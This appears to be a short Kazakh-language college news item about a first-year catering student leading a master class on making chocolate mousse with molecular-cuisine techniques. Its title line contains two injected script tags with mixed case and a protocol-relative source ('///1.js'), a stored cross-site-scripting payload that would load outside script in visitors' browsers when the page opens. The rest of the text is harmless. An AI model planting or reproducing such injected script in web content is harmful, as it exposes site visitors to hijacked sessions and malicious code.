Молекулярлы асхана<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

18.05.2021 жылы «Тамақтануды ұйымдастыру» мамандығы бойынша 01-ТҰ-20 тобының бірінші курс студенті Полторацкая Елизавета молекулярлы асхана  рецепті бойынша шоколадтты мусс жасау бойынша шеберлік сыныбын өткізді. Молекулярлы асхана  - бұл асханадағы азық –түліктің құрамы мен пішінін танымастай өзгертетін жоғары технология.